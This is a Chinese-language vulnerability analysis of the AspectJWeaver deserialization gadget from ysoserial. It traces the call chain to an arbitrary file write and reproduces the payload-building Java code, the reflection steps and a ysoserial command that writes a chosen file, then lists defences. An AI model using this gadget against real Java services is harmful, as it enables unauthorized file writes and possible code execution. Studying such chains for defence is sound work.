认识AspectJWeaver
字数 1286 2025-08-06 08:35:39
AspectJWeaver反序列化漏洞分析与利用
前言
AspectJWeaver是Java中一个用于实现面向切面编程(AOP)的工具,在ysoserial工具中提供了一个利用AspectJWeaver实现文件写入的gadget。本文将从技术原理到实际利用进行详细分析。
基础概念
AspectJWeaver简介
AspectJWeaver是AspectJ项目的核心组件,用于在运行时或编译时织入切面代码。在反序列化漏洞利用中,我们主要关注其SimpleCache$StoreableCachingMap类的实现。
Java文件操作相关
File.separator:表示目录分隔符(/或\),根据操作系统自动判断FileOutputStream:用于写入文件的Java类
HashSet实现原理
- HashSet内部使用HashMap实现
- HashMap是HashSet的核心,HashSet相当于只有键的HashMap
- HashSet使用固定值
PRESENT作为HashMap的值部分 PRESENT是一个静态常量,用作虚拟值
疑问点:为什么HashMap被transient修饰仍能序列化?
- 虽然HashMap成员变量使用
transient修饰 - 但HashSet重写了
readObject和writeObject方法 - 通过这些方法可以自定义序列化过程,实现HashMap的序列化
漏洞利用分析
利用链分析
完整的调用链如下:
HashSet.readObject()
HashMap.put()
HashMap.hash()
TiedMapEntry.hashCode()
TiedMapEntry.getValue()
LazyMap.get()
SimpleCache$StorableCachingMap.put()
SimpleCache$StorableCachingMap.writeToPath()
FileOutputStream.write()
关键代码解析
// 获取SimpleCache的内部类StoreableCachingMap的构造器
Constructor ctor = Reflections.getFirstCtor("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");
// 生成StoreableCachingMap实例,第一个参数"."表示当前目录
Object simpleCache = ctor.newInstance(".", 12);
// 使用ConstantTransformer固定文件内容
Transformer ct = new ConstantTransformer(content);
Map lazyMap = LazyMap.decorate((Map)simpleCache, ct);
// 将文件内容映射到MapEntry
TiedMapEntry entry = new TiedMapEntry(lazyMap, filename);
// 创建HashSet并添加初始元素
HashSet map = new HashSet(1);
map.add("foo");
// 通过反射修改HashSet内部HashMap的内容
Field f = HashSet.class.getDeclaredField("map");
Reflections.setAccessible(f);
HashMap innimpl = (HashMap) f.get(map);
// 获取HashMap的table数组
Field f2 = HashMap.class.getDeclaredField("table");
Reflections.setAccessible(f2);
Object[] array = (Object[]) f2.get(innimpl);
// 获取第一个节点并修改其key
Object node = array[0];
Field keyField = node.getClass().getDeclaredField("key");
Reflections.setAccessible(keyField);
keyField.set(node, entry);
关键点解释
-
文件路径构造:
SimpleCache$StorableCachingMap.writeToPath()方法中:String fullPath = this.folder + File.separator + key;this.folder由构造器第一个参数决定(payload中设为".")- 最终文件路径为
./filename,写入当前目录
-
反射操作原因:
StoreableCachingMap不能直接操作HashSet没有暴露的方法可以直接操作内部HashMap- 必须通过反射修改内部结构
-
初始元素添加:
map.add("foo")创建初始键值对- 保证反射修改时不会出现空指针异常
漏洞利用演示
使用方式
java -jar ysoserial.jar AspectJWeaver "filename;base64_content"
示例:
java -jar ysoserial.jar AspectJWeaver "h3zh1.txt;aGVsbG8gaGFjawo="
效果
- 在当前目录创建
h3zh1.txt文件 - 文件内容为
hello hack(base64解码后)
技术细节深入
transient字段序列化问题
虽然HashMap在HashSet中被声明为transient,但通过重写序列化方法仍可实现序列化:
// HashSet的readObject方法实现
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
// 读取所有元素并放入后备Map
// Read in all elements in the proper order.
for (int i=0; i<size; i++) {
@SuppressWarnings("unchecked")
E e = (E) s.readObject();
map.put(e, PRESENT);
}
}
// HashSet的writeObject方法实现
private void writeObject(java.io.ObjectOutputStream s)
throws java.io.IOException {
// 写入所有元素
// Write out all elements in the proper order.
for (E e : map.keySet())
s.writeObject(e);
}
SimpleCache$StoreableCachingMap分析
关键文件写入方法:
private String writeToPath(String key, byte[] bytes) throws IOException {
String fullPath = this.folder + File.separator + key;
FileOutputStream fos = new FileOutputStream(fullPath);
fos.write(bytes);
fos.flush();
fos.close();
return fullPath;
}
防御措施
- 升级AspectJWeaver到安全版本
- 禁止反序列化不可信数据
- 使用Java安全管理器限制文件操作权限
- 实施输入验证和过滤